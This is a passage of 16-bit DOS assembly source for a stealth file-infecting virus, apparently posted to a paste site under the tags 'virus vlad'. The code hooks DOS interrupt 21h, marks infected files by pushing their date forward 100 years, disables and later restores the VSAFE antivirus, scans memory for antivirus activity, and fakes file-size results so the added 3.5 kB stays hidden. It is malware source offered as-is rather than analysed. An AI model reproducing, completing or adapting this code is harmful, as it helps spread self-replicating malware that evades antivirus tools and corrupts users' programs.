  830.       mov dx,offset TABHEAD-START
  831.       pushf
  832.       call dword ptr ds:[HPVECT21-START]
  833.       jc ZAVENW
  834. ;---------------------
  835.       mov cx,word ptr ds:[TIMEHP-START]    ; mark DATE = DATE +100 years
  836.       mov dx,word ptr ds:[DATEHP-START]
  837.       push dx
  838.       shr dx,9h
  839.       add dx,64h
  840.       shl dx,9h
  841.       pop ax
  842.       and ax,0000000111111111b
  843.       or dx,ax
  844.       mov ax,5701h
  845.       pushf
  846.       call dword ptr ds:[HPVECT21-START]
  847.       jc ZAVENW
  848. ;---------------------
  849. ZAVENW:   mov ah,3eh                          ;Close handle.
  850.       mov bx,word ptr cs:[AKTHNDL-START]
  851.       pushf
  852.       call dword ptr cs:[HPVECT21-START]
  853. ;---------------------
  854. ZAVRENM:  call ANLPATH      ; rename SVL.svl back to original
  855.       push cs
  856.       pop ds
  857.       mov di,si
  858.       mov si,offset DTX4-START
  859.       mov cx,0fh
  860.       rep movsb
  861.       mov dx,0e00h
  862.       mov di,word ptr cs:[REGDX-START]
  863.       mov es,word ptr cs:[REGDS-START]
  864.       mov ah,56h
  865.       pushf
  866.       call dword ptr cs:[HPVECT21-START]
  867. ;---------------------
  868.       push es         ; restore attribs
  869.       pop ds
  870.       push di
  871.       pop dx
  872.       mov ax,4301h
  873.       mov cx,word ptr cs:[ATR-START]
  874.       pushf
  875.       call dword ptr cs:[HPVECT21-START]
  876.       jmp ZAVEVSF
  877. ;-----------------------------------------------------------------------
  878. ;-----------------------------------------------------------------------
  879. ZAVECHNDL:mov ah,3eh
  880.       mov bx,word ptr cs:[AKTHNDL-START]
  881.       pushf
  882.       call dword ptr cs:[HPVECT21-START]
  883. ;---------------------
  884. ZAVEVSF:  mov dx,5945h      ; restore VSAFE.
  885.       mov ax,0fa02h
  886.       mov bl,byte ptr cs:[PARAMVS-START]
  887.       int 21h
  888. ZAVE:     pop es
  889.       pop ds
  890.       popa
  891.       jmp SIENDCE
  892. ;-------------------------------------------------------------------------
  893. ;-------------------------------------------------------------------------
  894. SIEND2:   cmp ax,4202h      ;fn. LSEEK
  895.       jz LLLH           ; want they file size or what ?
  896.       jmp SIENDCE
  897. LLLH:     cmp cx,0h
  898.       jz LLLH1
  899.       jmp SIENDCE
  900. LLLH1:    cmp dx,0h
  901.       jz OOPR
  902.       jmp SIENDCE
  903. ;---------------------
  904. OOPR:     popf
  905.       pushf
  906.       call dword ptr cs:[HPVECT21-START]
  907.       jc SSSE
  908.       pushf
  909.       pusha
  910.       push es
  911.       push ds
  912. ;---------------------
  913.       mov word ptr cs:[STEASZAX-START],ax     ; save file size
  914.       mov word ptr cs:[STEASZDX-START],dx
  915.       mov ax,5700h      ; check date
  916.       pushf
  917.       call dword ptr cs:[HPVECT21-START]
  918.       jc SSSRE
  919.       shr dx,9h       ; is file infected ? ( + 100 years).
  920.       cmp dx,64h
  921.       jc SSSRE
  922. ;---------------------
  923.       mov ah,62h      ;Test  for AV activity
  924.       pushf
  925.       call dword ptr cs:[HPVECT21-START]
  926.       dec bx
  927.       push ds
  928.       mov ds,bx
  929.       mov si,08h
  930.       call FINDSTR
  931.       pop ds
  932.       jnc SSSRE
  933. ;---------------------
  934.       mov ax,word ptr cs:[STEASZAX-START]  ; LSEEK end -3,5kB.
  935.       mov dx,word ptr cs:[STEASZDX-START]  
  936.       cmp ax,0e00h
  937.       jz SSS1
  938.       jc SSS3
  939.       sub ax,0e00h
  940.       jmp SSS2
  941.  
  942. SSS3:     dec dx
  943.       mov cx,0ffffh
  944.       mov bx,0e00h
  945.       sub bx,ax
  946.       sub cx,bx
  947.       inc cx
  948.       mov ax,cx
  949.       jmp SSS2
  950. SSS1:     mov ax,0h
  951. SSS2:     mov word ptr cs:[STEASZAX-START],ax
  952.       mov word ptr cs:[STEASZDX-START],dx
  953. ;---------------------
  954. SSSRE:    pop ds
  955.       pop es
  956.       popa
  957.       popf
  958.       mov ax,word ptr cs:[STEASZAX-START]
  959.       mov dx,word ptr cs:[STEASZDX-START]
  960. FLEG4:    sti
  961. SSSE:     retf 0002h
  962. ;-------------------------------------------------------------------------
  963. ;-------------------------------------------------------------------------
  964. SIENDCE:  popf
  965.       jmp dword ptr cs:[HPVECT21-START]
  966. ;-------------------------------------------------------------------------
  967. TRACE1:   mov cx,10d
  968. TRACE2:   dec cx
  969.       jnz TRACE2
  970.       jmp AAAY
  971. ;***************************************************************************
  972. include FINDSTR.inc
  973. include ANLPATH.inc
  974. include MDEVICE.inc
  975. include TXT.inc
  976. END
Tags: virus vlad
Add Comment
Please, Sign In to add comment